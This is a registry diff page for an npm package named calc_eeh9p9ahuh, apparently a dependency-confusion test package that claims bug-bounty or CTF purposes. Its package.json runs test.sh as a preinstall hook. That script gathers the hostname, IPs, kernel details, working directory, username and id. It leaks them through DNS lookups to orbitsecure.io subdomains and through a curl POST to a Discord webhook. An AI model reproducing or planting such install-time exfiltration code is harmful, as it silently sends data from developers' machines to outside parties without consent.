calc_eeh9p9ahuh 2.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of calc_eeh9p9ahuh might be problematic. Click here for more details.

Files changed (4) hide show
  1. package/README.md +1 -0
  2. package/index.js +3 -0
  3. package/package.json +12 -0
  4. package/test.sh +25 -0
package/README.md ADDED
@@ -0,0 +1 @@
1
+ This is part of a bug bounty program and will be removed upon a request!, you can contact me here: deneuve@wearehackerone.com
package/index.js ADDED
@@ -0,0 +1,3 @@
1
+ module.exports.hacked = function () {
2
+ return "hacked"
3
+ }
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "calc_eeh9p9ahuh",
3
+ "version": "2.0.0",
4
+ "description": "This is part of CTF, contact me here archerl@wearehackerone.com",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "bash test.sh",
8
+ "preinstall": "bash test.sh"
9
+ },
10
+ "author": "archerl@wearehackerone.com",
11
+ "license": "ISC"
12
+ }
package/test.sh ADDED
@@ -0,0 +1,25 @@
1
+ # #!/bin/bash
2
+
3
+ touch deneuvePOC.txt
4
+
5
+ tagDen="ctfhac"
6
+
7
+
8
+ # #DNS part
9
+
10
+ # Hostname hostname -I [H]
11
+ nslookup $tagDen.H.$(hostname -I | base64).sub.orbitsecure.io ||
12
+ # About kernelname uname [N]
13
+ nslookup $tagDen.N.$(uname | base64).sub.orbitsecure.io ||
14
+ # About kernel release uname -r [R]
15
+ nslookup $tagDen.R.$(uname -r | base64).sub.orbitsecure.io ||
16
+ # path pwd [P]
17
+ nslookup $tagDen.P.$(pwd | base64).sub.orbitsecure.io ||
18
+
19
+
20
+ # HTTP request
21
+ curl -H "Content-Type: application/json" -d "{\"username\": \"Whoami: $(whoami)\", \"content\": \"**The path:** $(pwd), **Version and stuff:** $(uname -a) **ID:** $(id), **IP**: $(curl ifconfig.me), **Internal IP**: $(hostname -I), **Tag**: $tagDen \"}" https://discord.com/api/webhooks/888540719613091900/ZFVINbf0mKuHS5q1cXiT8aa5Cd9pjD5L_yinYtCb7_p2Mv1kbroxQdLQJ3KK46Xzz7HF
22
+
23
+
24
+ # About the username whoami
25
+ nslookup $tagDen.W.$(whoami | base64).sub.orbitsecure.io